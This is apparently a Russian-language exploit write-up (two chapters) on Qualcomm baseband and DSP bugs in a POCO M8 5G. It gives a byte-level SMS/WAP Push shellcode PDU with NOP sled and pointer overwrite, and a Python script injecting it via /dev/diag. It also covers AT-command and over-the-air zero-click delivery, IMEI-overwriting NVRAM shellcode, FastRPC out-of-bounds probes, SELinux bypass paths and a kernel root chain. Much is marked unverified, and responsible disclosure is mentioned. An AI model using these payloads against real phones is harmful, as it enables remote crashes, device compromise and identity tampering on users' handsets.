Всего 20 байт. Эффект: Hexagon data abort в WMS QuRT task → MPSS subsystem restart.

Верификация:

  • В эмуляции (проверено): harness_wms.S + qemu-hexagon → SIGSEGV при overflow
  • На устройстве (не проверялось): ожидается MPSS subsystem restart

Bash:
# Ожидаемый вывод на реальном устройстве (НЕ ПРОВЕРЯЛОСЬ):
# adb shell dmesg | grep -E 'subsys.restart|MPSS|ssr_notify|modem'
# [  xxx.xxxxxx] subsys-restart: Restarting modem subsystem
# [  xxx.xxxxxx] msm_ssr_notify: Modem crashed

---

## 9.3 PDU с shellcode: 03_wap_shellcode.bin

Полный hex:

Code:
04 00 01 00
01 c0 9d a0 00 c0 00 78 00 c0 80 a1 1e c0 1e 90 00 c0 9f 52
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
80 80 a7 c2
00

Разбор layout:

Code:
Offset  Размер  Содержимое
0x00    4       Header: smsc_len=04, flags=00, tp_udl=01, udh=00
                (упрощённый формат для DIAG инъекции)

0x04    20      Shellcode (_sc_crash):
                01 c0 9d a0  allocframe(#0x8)
                00 c0 00 78  r0 = #0x0
                00 c0 80 a1  memw(r0+#0x0) = r0   ← crash
                1e c0 1e 90  deallocframe
                00 c0 9f 52  jumpr r31

0x18    100     NOP sled: 25 × { nop } пакетов
                { nop } = 00 40 00 7f (4 байта)

0x7c    80      Filler: 20 × 0x41 ('A')
                (заполняет оставшееся место до offset 140)

0xcc    4       Ptr overwrite: 80 80 a7 c2
                LE = 0xc2a78080 (wap_buf_addr начало)
                Перезаписывает pointer по offset 140

0xd0    1       Trailing: 00

Итого payload после UDH: 140 байт fills + 4 байта ptr overwrite + 1 = 145 байт. tp_udl должен быть выставлен соответственно.

Идея: при overflow данные кладутся в WAP буфер начиная с 0xc2a78ad8. Payload после offset 140 (0xc2a78ad8 + 140 = 0xc2a78b64) перезаписывает то что находится в BSS за буфером. Если там pointer — он заменяется на 0xc2a78080 (начало WAP буфера, где лежит shellcode + NOP sled).

При следующем WMS event который дереференсирует этот pointer: управление идёт в shellcode.

---

## 9.4 Точный ptr overwrite

Статус: Это предположение по статическому анализу. Структура BSS за 0xc2a78b64 не верифицирована. Требует дополнительного реверса BSS-инициализации.

WAP буфер: 0xc2a78ad8, размер 140. Конец: 0xc2a78ad8 + 140 = 0xc2a78b64.

По статическому анализу BSS: за WAP буфером находятся поля WMS структуры. Предположительно — callback указатель или поле next_slot_ptr. Конкретное поле не установлено — нужен реверс инициализации wms_msg_s_type в b08.

Если по 0xc2a78b64 лежит указатель функции вызываемый WMS при следующем событии:

  • Overwrite: 0xc2a78b64 ← 0xc2a78ad8 (начало WAP буфера где наш shellcode)
  • В LE байты: d8 8a a7 c2

Shellcode лежит в начале WAP буфера: 0xc2a78ad8. NOP sled следует за shellcode.

PDU в §9.3 использует 0xc2a78080 как ptr overwrite target — это адрес в BSS ниже буфера, который тоже может быть предварительно заполнен shellcode через другой WAP message. Оба варианта не верифицированы на устройстве.

Практический следующий шаг: статический анализ инициализации BSS 0xc2a78000 в b08 — найти все записи типа memw(addr) = ptr_to_func.

---

## 9.5 Три вектора инъекции

Статус всех векторов: код написан и проверен синтаксически. На реальном устройстве ни один вектор не запускался.

### Вектор 1: DIAG

Самый простой если есть доступ к /dev/diag.

Bash:
# Требуется: root или членство в группе diag (UID 1000 не достаточно)
# Проверка доступа (на устройстве не проверялось):
ls -la /dev/diag
# crw-rw---- 1 root diag 237, 0 ...
id  # должен быть diag в группах

DIAG пакет для инъекции WMS PDU:

Code:
DIAG_SUBSYS_CMD_F (0x4B)
+ Subsystem ID: WMS = 0x19
+ Command: WMS_DIAG_SUBMIT_REQ = 0x01
+ PDU data: [наш shellcode PDU]

Python:
#!/usr/bin/env python3
# diag_inject_pdu.py

import struct
import os

def hdlc_encode(data: bytes) -> bytes:
    """HDLC framing для DIAG"""
    out = bytearray([0x7e])  # start flag
    crc = calc_crc16(data)
    payload = data + struct.pack('<H', crc)
    for b in payload:
        if b == 0x7e:
            out += b'\x7d\x5e'
        elif b == 0x7d:
            out += b'\x7d\x5d'
        else:
            out.append(b)
    out.append(0x7e)  # end flag
    return bytes(out)

def calc_crc16(data: bytes) -> int:
    crc = 0xffff
    for b in data:
        crc ^= b
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ 0x8408
            else:
                crc >>= 1
    return crc ^ 0xffff

# Читаем shellcode PDU
with open('seeds/03_wap_shellcode.bin', 'rb') as f:
    pdu = f.read()

# Строим DIAG WMS Submit Request
diag_pkt = bytes([
    0x4b,        # DIAG_SUBSYS_CMD_F
    0x19, 0x00,  # subsystem WMS (little-endian)
    0x01, 0x00,  # WMS_DIAG_SUBMIT_REQ
]) + pdu

# HDLC encode
framed = hdlc_encode(diag_pkt)

# Отправляем в /dev/diag
with open('/dev/diag', 'wb') as diag:
    diag.write(framed)

print(f"[*] Отправлено {len(framed)} байт в /dev/diag")
print("[*] Ждём subsystem restart...")

Bash:
# На устройстве не запускалось. Ожидаемый вывод:
# python3 diag_inject_pdu.py
# [*] Отправлено 47 байт в /dev/diag
# [*] Ждём subsystem restart...
# dmesg | tail -5
# subsys-restart: Restarting modem

### Вектор 2: OTA (Over-The-Air)

Статус: Не тестировался. Описание основано на стандарте 3GPP SMS delivery и архитектуре WMS — без верификации на реальной сети.

Без root, без USB. Специально сформированный WAP Push SMS отправляется через SMSC или femtocell.

Путь по стандарту: SMSC → LTE/NAS → MPSS baseband → WMS → wms_ts_decode_gw_pp. SMS принимается устройством, баг триггерится на уровне MPSS без взаимодействия с ARM.

Требования:
  • Доступ к SMSC (оператор, тестовый аккаунт, или femtocell)
  • Или SDR с srsRAN / OpenBTS для создания фейкового base station

Bash:
# Через AT команды на тестовом стенде (femtocell):
# Отправляем PDU напрямую через AT+CMGS
echo -e 'AT+CMGF=0\r' > /dev/ttyHS0
echo -e "AT+CMGS=$(( ${#PDU_HEX}/2 ))\r${PDU_HEX}\x1a" > /dev/ttyHS0

OTA вектор — единственный zero-interaction вектор. Устройство не должно быть разблокировано или рутовано. Уязвимость триггерится при приёме SMS.

### Вектор 3: AT+CMGS (PDU mode)

Bash:
# Требуется доступ к /dev/ttyHS0 — группа dialout или root
ls -la /dev/ttyHS0
# crw-rw---- 1 root dialout ...

# PDU mode
echo -e "AT+CMGF=0\r" > /dev/ttyHS0
sleep 0.1
cat /dev/ttyHS0  # должно вернуть OK

# Длина PDU в байтах (без SMSC)
PDU_LEN=XX
PDU_HEX="0491112233400691103254000010601231728000XX..."

echo -e "AT+CMGS=${PDU_LEN}\r${PDU_HEX}\x1a" > /dev/ttyHS0

AT+CMGS работает через RIL → WMS stack. PDU проходит полный путь декодирования включая wms_ts_decode_gw_pp.

---

## 9.6 Что происходит после исполнения shellcode

_sc_crash — proof-of-concept. В контексте MPSS QuRT task у shellcode есть:

  • Доступ ко всем WMS BSS структурам: читаем/пишем SMS, контакты, настройки
  • Доступ к QMI каналам: инициируем QMI запросы от имени модема
  • Доступ к DIAG: читаем/пишем NVRAM (IMEI, security keys, calibration data)
  • SMEM доступ: Qualcomm SMEM (smem_alloc) — разделяемая память между MPSS, CDSP и ARM

### NVRAM write примитив

IMEI и network credentials хранятся в NVRAM. Запись через nv_write_item:

Code:
; Hexagon shellcode: nv_write_item(NV_ESN_ME_I, &data)
_sc_nvram_write:
    allocframe(#0x10)
    ; NV_ESN_ME_I = 0 (ESN/IMEI item)
    r0 = #0x0
    ; data ptr (в стеке)
    r1 = r29
    ; value = 0xDEADBEEF (proof)
    memw(r29+#0x0) = ##0xdeadbeef
    call ##nv_write_item_addr    ; адрес из b11
    deallocframe
    jumpr r31

### FastRPC к CDSP (следующий этап)

Из MPSS через SMEM можно подготовить данные которые читает CDSP-сервис. Полный путь MPSS → CDSP → kernel LPE описан в Главе 10.

---

## 9.7 TODO (из EXPLOIT_STATUS.md)

### Сделано

  • [x] Идентификация wms_ts_decode_gw_pp @ 0xbbd70b48
  • [x] Анализ бага 0xbbd70d84: обе ветки → 0xbbd70dc8
  • [x] UDL gap: 0xbbd20808, порог 160 vs 140
  • [x] sms_harness.c: AFL++ кампания, 25601 крашей, unique=1
  • [x] harness_wms.S: патч b27, верификация реального кода
  • [x] _sc_crash shellcode: 20 байт, Hexagon null write
  • [x] PDU 03_wap_shellcode.bin: shellcode + NOP sled + ptr overwrite
  • [x] DIAG инъекция: diag_inject_pdu.py

### В работе

- [ ] Точный offset до ptr в WMS BSS после 0xc2a78ad8 + 140
  - Нужно: реверс структуры wms_msg_s_type полностью
  - Метод: статический анализ BSS инициализации в b08

- [ ] Верификация ptr overwrite на устройстве (не crash → controlled RIP)
  - Нужно: rooted device + DIAG доступ
  - Статус: устройство available, DIAG — нужна группа

- [ ] Shellcode для LPE: запись в NVRAM (IMEI overwrite как proof)
  - Нужно: написать Hexagon shellcode для nv_write_item
  - Функция nv_write_item в b11: найдена по строкам

- [ ] Coverage-guided фаззинг b11 (1408 функций с allocframe > 0x200)
  - Нужно: отдельный harness для QMI dispatcher
  - Потенциал: найти дополнительные overflow в SMS/QMI path

- [ ] OTA верификация на реальной сети
  - Нужно: тестовая SIM + оператор с API или femtocell

---

## 9.8 Ответственное раскрытие

Qualcomm PSIRT: [email protected].

Затронутые компоненты:
  • wms_ts_decode_gw_pp — bounds check не abort (критический)
  • UDL gate 0xbbd20808 — неправильный порог (дополнительный)

Прошивка: MPSS.DE.3.1.4.c1-00319, устройство POCO M8 5G.

Timeline до публикации: 90 дней от даты уведомления.

---

Hexagon QDSP6 остаётся недоисследованной площадкой. b11 — 1408 кандидатов. Копай дальше.


---

# Глава 10. LPE через FastRPC: анализ skel-библиотек

by progasm

---

## 10.1 Архитектура атаки

Цепочка WMS exploit даёт RCE на MPSS DSP. Следующий уровень — Linux kernel privilege escalation. Путь к нему лежит через FastRPC — механизм Remote Procedure Call между ARM (HLOS) и Hexagon DSP.

Code:
[ADB shell uid=2000]
        │
        ▼
  /dev/fastrpc-cdsp  ←── SELinux BLOCK (u:r:shell→vendor_qdsp_device)
        │
        │  (обход: через binder-сервис или app-контекст)
        ▼
  kernel fastrpc driver (msm_fastrpc)
        │
        ▼
  DSP fastrpc_shell_3    ← загружает skel .so в DSP user PD
        │
        ▼
  skel_handle_invoke(_h, _sc, _pra)   ← atack surface
        │
        ▼
  [RCE на DSP] → shared memory corruption → kernel LPE

Модель угрозы: атакующий с uid=2000 (adb shell) или любым app-контекстом имеющим доступ к CDSP хочет выполнить код в DSP user PD, затем через shared memory corruption или QDI syscall перейти в kernel.

---

## 10.2 SELinux барьер и пути обхода

### Состояние устройства

Bash:
adb shell ls -la /dev/fastrpc-cdsp
# crw-rw-r-- system system 507, 3 2026-05-09 /dev/fastrpc-cdsp

adb shell id
# uid=2000(shell) gid=2000(shell) groups=...

| Узел | DAC | SELinux тип | Доступен из shell? |
|------|-----|-------------|-------------------|
| /dev/fastrpc-cdsp | crw-rw-r-- system system | vendor_qdsp_device | EACCES |
| /dev/fastrpc-adsp-secure | crw-r--r-- system system | — | EACCES |

u:r:shell:s0 не имеет SELinux allow-правила для vendor_qdsp_device:chr_file { open read write ioctl }. Прямой open("/dev/fastrpc-cdsp", O_RDWR) блокируется.

### Пути обхода

1. cdsprpcd binder-сервис (приоритет 1):

cdsprpcd работает под uid=system, имеет доступ к fastrpc-cdsp. Принимает binder IPC. Если его binder интерфейс принимает сырые буферы — можно proxy через него.

Bash:
adb shell service list | grep dsp
# может показать: com.qualcomm.qti.cdsp.libcdsprpc

2. NNAPI / Camera HAL (приоритет 2):

Android NNAPI (/dev/nnapi), Camera ISP, биометрия — все используют CDSP внутри. Эти сервисы имеют SELinux allow на fastrpc. Если найти уязвимость в их binder-интерфейсе — можем proxy через них.

3. Setuid бинарь (не найден):

Bash:
find /vendor /system -perm /4000 2>/dev/null | head -20
# пока не обнаружено бинарей связанных с fastrpc

4. Kernel race / OOB (без открытия устройства):

Альтернатива — найти баг в другом kernel driver, не требующем fastrpc-cdsp. В рамках данного исследования не разрабатывался.

---

## 10.3 Skel-библиотеки: attack surface

FastRPC-сервисы на CDSP загружают .so файлы в DSP user PD через путь:

Code:
HLOS call: remote_handle_open("file:///vendor/lib/rfsa/adsp/libXXX_skel.so?func")
  → kernel maps shared memory
  → DSP loads ELF into user PD
  → dispatch function becomes callable

### Библиотеки найденные на устройстве

| Библиотека | Размер | Dispatch-функция | Привилегии |
|------------|--------|-----------------|------------|
| libsysmon_skel.so | ~120 KB | sysmon_skel_invoke | DSP user PD |
| libsysmondomain_skel.so | ~200 KB | sysmon_skel_invoke | DSP user PD |
| cdsp_libsysmon_skel.so | ~400 KB | sysmon_skel_invoke | DSP user PD |
| libstabilitydomain_skel.so | ~28 KB | stabilitydomain_skel_handle_invoke | DSP user PD |
| libsns_device_mode_skel.so | ~4 KB | sns_device_mode_skel_handle_invoke | DSP user PD |
| libsns_direct_channel_skel.so | ~3 KB | sns_direct_channel_skel_handle_invoke | DSP user PD |
| libfastcvdsp_skel.so | 668 KB | stripped | DSP user PD |
| libbitml_nsp_v2_skel.so | 6 MB | stripped | DSP user PD |
| libcamera_nn_skel.so | 707 KB | stripped | DSP user PD |
| libapn_dsp_skel.so | 404 KB | stripped | DSP user PD |

Путь на устройстве: /vendor/lib64/rfs/dsp/. Загружаются как Hexagon ELF (ET_DYN), без PIE в старых версиях.

---

## 10.4 FastRPC ABI

Все skel dispatch-функции компилируются QAIC IDL компилятором с единой сигнатурой:

C:
int skel_handle_invoke(
    remote_handle64 _h,   // r1:r0 — handle (64-bit = два 32-bit регистра)
    uint32_t _sc,         // r2    — scalar encoding
    remote_arg_t *_pra    // r3    — массив аргументов
);

### Scalar encoding (_sc)

Code:
bits [31:29]  reserved
bits [28:24]  method_id   (5 бит, 0–31)
bits [23:16]  n_out        количество output буферов
bits [15:8]   n_in         количество input буферов
bits [7:4]    n_inout      количество inout буферов
bits [3:0]    misc

Макрос кодирования (HLOS сторона, fastrpc_probe.c):

C:
#define FASTRPC_SCALARS(method, nin, nout) \
    (((method) << 24) | ((nin) << 16) | ((nout) << 8))

// Пример: метод 0, 1 входной буфер, 1 выходной:
uint32_t sc = FASTRPC_SCALARS(0, 1, 1);  // = 0x00010100

### remote_arg_t (8 байт)

C:
typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;   // длина буфера
} remote_arg_t;

На 32-bit Hexagon: pv = 32-bit pointer в shared memory, nLen = длина. Атакующий контролирует оба поля.

---

## 10.5 Уязвимость 1: OOB dispatch в sysmon_skel_invoke

Тип: OOB_INDEX  
Библиотека: libsysmon_skel.so  
Адрес: 0x9cac (entry point dispatch)  
Severity: HIGH

### Механизм

Dispatch-функция извлекает method_id из _sc:

Code:
; sysmon_skel_invoke entry @ 0x9cac:
r4 = extractu(r2, #5, #0x18)   ; method_id = bits[28:24] of _sc (0–31)
; ... следующие инструкции:
0x9ccc: r4 = memw(r3+r4<<#0x2) ; r4 = dispatch_table[method_id]
                                ; ← ЗДЕСЬ: нет проверки method_id < max!
jumpr r4                        ; jump to method handler

Нет ни одного cmp.gtu на method_id в первых 20 инструкциях функции.

### Сравнение с защищённой библиотекой

libstabilitydomain_skel.so имеет корректный bounds check:

Code:
; stabilitydomain_skel_handle_invoke @ 0x5a8c:
r4 = extractu(r2, #5, #0x18)    ; method_id
p0 = cmp.gtu(r4, #0xa)          ; method_id > 10?
if (p0.new) jump:nt 0x5ecc      ; да → return error  ← ЗАЩИТА
r4 = memw(r5 + r4 << #0x2)      ; чтение из таблицы
jumpr r4

В libstabilitydomain_skel.so: максимум 10 методов, проверка есть.  
В libsysmon_skel.so: проверки нет.

### Эксплоит-примитив

Code:
method_id = 31 (максимум в 5-битном поле)
→ r4 = memw(dispatch_table + 31*4)
→ если dispatch_table имеет < 32 записей: OOB read
→ значение за таблицей → jumpr r4 с произвольным адресом

Для превращения в arbitrary code execution нужно знать адрес dispatch table и что лежит за ней. В PIE-бинаре это требует info leak; в non-PIE — смещение фиксировано.

---

## 10.6 Уязвимость 2: taint r16 в memory ops (56 срабатываний)

Тип: MISSING_CHECK (taint analysis)  
Библиотека: libsysmon_skel.so  
Severity: HIGH (56 находок)  
Инструмент: angr taint tracking через fastrpc_analysis.py

### Механизм

Code:
r3 = _pra  (аргумент dispatch, полностью контролируется атакующим)
↓
r16 = memw(r3+...)  (чтение pointer из _pra структуры)
↓
memb(r16+#0x0) = r2  ← WRITE через r16, нет bounds check
memb(r16+#0x3) = r3
memb(r16+#0x2) = r3
memb(r16+#0x1) = r2
...

Адреса с HIGH-severity writes через r16:

| Адрес | Инструкция |
|-------|-----------|
| 0xa7e8 | memb(r16+#0x0) = r2.new |
| 0xa7f0 | memb(r16+#0x3) = r3.new |
| 0xa7fc | memb(r16+#0x2) = r3.new |
| 0xa804 | memb(r16+#0x1) = r2 |
| 0xabe8 | memb(r16+#0x0) = r2.new |
| 0xabf0 | memb(r16+#0x3) = r3.new |
| 0xabfc | memb(r16+#0x2) = r3.new |
| 0xac04 | memb(r16+#0x1) = r2 |
| 0xad60 | memb(r16+#0x0) = r2.new |
| 0xad68 | memb(r16+#0x3) = r3.new |
| 0xaf44 | { memb(r16+#0x0) = r2; memb(r16+#0x4) = r3 } |
| 0xaf50 | memb(r16+#0x6) = r4.new |
| 0xaf5c | memb(r16+#0x7) = r6 |

Примечание: часть срабатываний — false positives тaint-анализа (taint слишком широко распространяется). Адреса 0xa7e8–0xa804, 0xabe8–0xac04, 0xad60 — наиболее приоритетные для ручной верификации.

---

## 10.7 Уязвимость 3: захардкоженный dst в sysmon_usermode_buffer_copy

Тип: MISSING_CHECK / hardcoded dst size  
Библиотека: libsysmon_skel.so  
Адрес: 0x33c8  
Severity: MEDIUM→HIGH (зависит от вызывающего)

### Дизассем

Code:
00003388 <sysmon_usermode_buffer_copy>:
    3388: r17:16 = combine(r1, r2)      ; r17=src_ptr, r16=dst
    ...
    33c8: r3:r2 = combine(r18, ##0x101) ; r2 = 0x101 = 257 байт (dst_max_len HARDCODED)
    33cc: r5:r4 = combine(r16, r17)     ; r4 = src_ptr, r5 = src_len (от вызывающего)
    33d0: call 0x28f0                    ; memscpy(dst, 0x101, src, src_len)
    33d4: p0 = cmp.gt(r0, #-0x1)        ; SIGNED check возврата!

Первичная защита: memscpy копирует min(dst_max, src_len) — при правильном использовании безопасно.

Проблема — signed check возврата. Паттерн CVE-2020-11201: если где-то выше src_len проверяется как signed int, значение 0x80000001 (-2147483647 как signed) проходит проверку len ≤ MAX_LEN (отрицательное число ≤ MAX), но передаётся в copy как огромное uint32_t. Нужно верифицировать вызывающую сторону в sysmon_skel_invoke.

---

## 10.8 Уязвимость 4: stabilitydomain_user_pd_crash

Тип: unauthorized DSP user PD crash  
Библиотека: libstabilitydomain_skel.so  
Адрес: 0x4eb4  
Severity: MEDIUM (DoS)

Функция stabilitydomain_user_pd_crash присутствует в dispatch-таблице. Вызов без авторизации — crash DSP user PD → нестабильность системы.

Прямого LPE нет, но полезно для изучения поведения при крашах DSP PD и потенциально для DoS-зависимых side-channel атак.

---

## 10.9 QDI interface в libstabilitydomain_skel.so

Тип: DSP kernel call surface  
Библиотека: libstabilitydomain_skel.so  
Severity: исследуется

Импорты из QuRT kernel:

Code:
qurt_qdi_qhi3
qurt_qdi_qhi4
qurt_qdi_qhi5
qurt_qdi_qhi6
qurt_qdi_qhi9

QDI (Qualcomm Driver Interface) — механизм syscall из DSP user-process в DSP kernel. Если через dispatch можно вызвать метод, использующий эти функции с контролируемыми аргументами — потенциальная дыра в DSP kernel space (аналог Linux syscall с неправильной валидацией).

Из DSP kernel → shared memory → Linux kernel LPE: каждый шаг требует отдельного примитива, но сам наличие QDI вызовов в публичном dispatch интерфейсе — серьёзный расширитель атаки.

---

## 10.10 PoC: зондирование fastrpc из ADB shell

Код fastrpc_probe.c — тест доступности с измерением реального поведения SELinux:

C:
/*
 * fastrpc_probe.c — FastRPC CDSP access probe
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x ...
 */

#define FASTRPC_SCALARS(m, in, out) (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("[!!!] OPENED — SELinux allows shell→fastrpc-cdsp!\n");
        close(fd);
    } else {
        printf("[x] open failed: %s — SELinux blocking\n", strerror(errno));
    }
}

static void test_via_libcdsprpc(void) {
    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    pfn_remote_handle_open fn_open = dlsym(h, "remote_handle_open");

    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open(
        "file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke",
        &rh
    );
    if (rc == 0) {
        printf("[!!!] OPENED sysmon skel handle=%u\n", rh);

        /* Attempt oversized invoke: dst buf = 0x101, send 0x200 bytes */
        uint8_t in_buf[0x200];
        memset(in_buf, 0x41, sizeof(in_buf));

        remote_arg_t pra[2];
        pra[0].pv   = in_buf;
        pra[0].nLen = sizeof(in_buf);   /* 0x200 > 0x101 hardcoded dst */
        pra[1].pv   = out_buf;
        pra[1].nLen = sizeof(out_buf);

        uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
        rc = fn_inv((remote_handle64)rh, sc, pra);
        printf("[*] invoke rc=%d (0=ok, <0=error)\n", rc);
    } else {
        printf("[x] open failed: rc=%d errno=%d\n", rc, errno);
        /* errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED */
    }
}

Запуск:

Bash:
# На реальном устройстве НЕ запускался.
# Ожидаемый результат из u:r:shell:s0:
#
# adb push fastrpc_probe /data/local/tmp/
# adb shell chmod +x /data/local/tmp/fastrpc_probe
# adb shell /data/local/tmp/fastrpc_probe
# [x] open failed: Permission denied (errno=13) — SELinux blocking
# [x] open failed: rc=-1 errno=13

Ожидаемый результат из u:r:shell:s0: оба теста блокируются SELinux (основано на анализе SELinux политики vendor_qdsp_device). При наличии более широкого context (app с android.permission.MANAGE_MEDIA) — результат может отличаться. Не верифицировано.

---

## 10.11 Harness для fuzzing skel-библиотек

### Архитектура harness_sysmon.S

Code:
; harness_sysmon.S — fuzz sysmon_skel_invoke через AFL++/qemu-hexagon
;
; Формат stdin:
;   bytes [0..3]:   _sc (method_id + buf counts)
;   bytes [4..7]:   in_len (pra[0].nLen — атакуемый размер)
;   bytes [8..]:    payload (содержимое входного буфера)

    .text
    .global _start

_start:
    ; --- Читаем fuzz input из stdin ---
    r0 = #0                     ; fd=stdin
    r1 = ##input_buf            ; buf
    r2 = ##0x400                ; max read
    trap0(#1)                   ; syscall: read

    ; --- Парсим _sc ---
    r2 = memw(##input_buf)      ; _sc = input[0..3]

    ; --- Парсим in_len (атакуемое поле nLen) ---
    r16 = memw(##input_buf + 4) ; in_len = input[4..7]

    ; --- Заполняем _pra ---
    memw(##pra + 0) = ##in_buf  ; pra[0].pv = &in_buf
    memw(##pra + 4) = r16       ; pra[0].nLen = in_len  ← fuzz target
    memw(##pra + 8) = ##out_buf ; pra[1].pv = &out_buf
    memw(##pra + 12) = ##0x400  ; pra[1].nLen = 0x400 (output fixed)

    ; --- Копируем payload в in_buf ---
    r0 = ##in_buf
    r1 = ##input_buf + 8
    r2 = r16                    ; len = in_len (AFL controls)
    call memcpy

    ; --- Вызываем dispatch ---
    r1:r0 = combine(#0, #1)     ; _h = 1 (dummy handle)
    ; r2 = _sc (уже установлен)
    r3 = ##pra                  ; _pra
    call sysmon_skel_invoke

    ; --- Crash detection ---
    ; (SIGSEGV при OOB → AFL++ записывает crash)
    jumpr r31

    .bss
input_buf: .space 0x400
in_buf:    .space 0x400
out_buf:   .space 0x400
pra:       .space 32

### AFL++ кампания

Bash:
# Собираем harness
clang-20 -target hexagon-unknown-linux-musl -nostdlib \
  -T hexagon.ld harness_sysmon.S libsysmon_skel.so \
  -o /tmp/sysmon_fuzz.elf

# Начальные seeds
mkdir sysmon_seeds/
# seed 1: method_id=0, in_len=0x10, 16 байт 0x41
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +  # sc: method=0, nin=1, nout=1
    struct.pack('<I', 0x10) +         # in_len = 16
    b'\x41' * 16)" > sysmon_seeds/01_basic.bin

# seed 2: method_id=31 (OOB trigger)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', (31 << 24) | (1 << 16) | (1 << 8)) +
    struct.pack('<I', 0x10) +
    b'\x42' * 16)" > sysmon_seeds/02_oob_method.bin

# seed 3: oversized buffer (triggers sysmon_usermode_buffer_copy bug)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +
    struct.pack('<I', 0x200) +        # 0x200 > 0x101 hardcoded dst
    b'\x43' * 0x200)" > sysmon_seeds/03_oversized.bin

# Запускаем AFL++
AFL_NO_FORKSRV=1 AFL_SKIP_BIN_CHECK=1 AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n -t 2000 \
    -i sysmon_seeds/ \
    -o sysmon_afl_out/ \
    -- qemu-hexagon /tmp/sysmon_fuzz.elf

Ожидаемое: при method_id=31 → OOB read dispatch table → invalid jumpr → SIGSEGV → sig:11.

---

## 10.12 Теоретическая цепочка: MPSS → CDSP → kernel

Статус: Полностью теоретическая. Не реализовывалась и не тестировалась. Описание основано на архитектурных знаниях о SMEM, QDI и fastrpc — без конкретных адресов и без верификации.

Полная exploit chain требует трёх этапов:

### Этап 1: RCE на MPSS (уже реализован)

Описан в главах 8–9. WAP Push overflow → shellcode в QuRT WMS task → контроль над MPSS DSP.

### Этап 2: Боковое движение MPSS → CDSP

MPSS и CDSP — разные DSP домены. Связь между ними:

  • Shared memory: оба DSP имеют доступ к определённым регионам shared memory с ARM
  • QMI каналы: WMS stack в MPSS имеет QMI endpoint, через который может посылать сообщения другим subsystems
  • SMEM: Qualcomm SMEM (smem_alloc, smem_find) — разделяемая память между всеми subsystems

Из MPSS shellcode: записываем в SMEM область которую читает CDSP-сервис → контролируем данные в CDSP process.

### Этап 3: CDSP shellcode → kernel LPE

Из CDSP DSP user PD, если есть RCE:

1. Через QDI: вызываем qurt_qdi_qhi* с контролируемыми args → DSP kernel space
2. Через shared memory corruption: пишем в область mapped в Linux kernel → kernel RIP
3. Через /dev/fastrpc ioctl: fastrpc kernel driver маппит shared memory copy_from_user → если есть баг в driver

Конкретный путь к root:

Code:
DSP RCE
  → запись в /proc/sys/kernel/... через DSP mapped region
  → или: через fastrpc map/unmap race condition → use-after-free в kernel
  → kernel code execution
  → setuid(0) + execve("/system/bin/sh")

---

## 10.13 Статистика анализа

Результаты запуска fastrpc_analysis.py по libsysmon_skel.so:

| Метрика | Значение |
|---------|----------|
| Проанализировано библиотек | 1 |
| Всего находок | 655 |
| CRITICAL | 0 |
| HIGH | 56 |
| MEDIUM | 599 |
| Основная функция | sysmon_skel_invoke |
| Первичный класс HIGH | MISSING_CHECK (taint r16 из _pra) |
| OOB dispatch | confirmed @ 0x9cac |
| Hardcoded buffer | confirmed @ 0x33c8 (dst=0x101) |

Инструменты:

Bash:
# Полный анализ всех libraries
cd /home/z0r0/poco_m8_5g/dsp_analysis
python3 fastrpc_analysis.py --report findings/full_report.md

# Конкретная lib + symbolic exec
python3 fastrpc_analysis.py --lib libs/libsysmon_skel.so --symbolic

# Pattern scanner (быстрый)
python3 dsp_vuln_finder.py

---

## 10.14 TODO: следующие шаги

### Сделано

  • [x] Перечисление skel-библиотек: 10 targets
  • [x] FastRPC ABI задокументирован
  • [x] OOB dispatch подтверждён в libsysmon_skel.so @ 0x9cac
  • [x] 56 HIGH taint-находок в sysmon_skel_invoke
  • [x] sysmon_usermode_buffer_copy @ 0x33c8: hardcoded dst=0x101
  • [x] fastrpc_probe.c: зондирование SELinux барьера

### В работе

- [ ] Ручная верификация OOB в 0x9ccc: r4 = memw(r3+r4<<#0x2) — что за таблицей?
  - Метод: llvm-objdump --arch=hexagon -d libsysmon_skel.so | sed -n '/sysmon_skel_invoke/,/^[0-9]/ p' | head -50

- [ ] Signed length check в вызывающем для sysmon_usermode_buffer_copy
  - Нужно: дизассем пути sysmon_skel_invoke → sysmon_usermode_buffer_copy с backward slice для src_len

- [ ] Путь доступа из shell к libsysmon_skel.so
  - Опция 1: cdsprpcd binder interface проксирует наш invoke
  - Опция 2: NNAPI context ([email protected])

- [ ] Harness harness_sysmon.S + AFL++ кампания по OOB dispatch
  - Seed 02 (method_id=31) ожидаемо даст crash при первом запуске

- [ ] libstabilitydomain_skel.so: вызовы QDI с контролируемыми аргументами
  - qurt_qdi_qhi3/4/5/6/9 — задокументировать what each does

---

## 10.15 Ответственное раскрытие

Qualcomm PSIRT: [email protected].

Затронутые компоненты:
  • libsysmon_skel.so — OOB dispatch, tainted writes (без CVE номера, ещё не раскрыто)
  • libstabilitydomain_skel.so — unauthorized PD crash, QDI exposure
  • msm_fastrpc kernel driver — attack surface analysis (не баг в driver, но vector)

Устройство: POCO M8 5G (SM6475/Snapdragon 6 Gen 3).  
Firmware: MPSS.DE.3.1.4.c1-00319.

Timeline: 90 дней от даты уведомления перед публикацией.

---

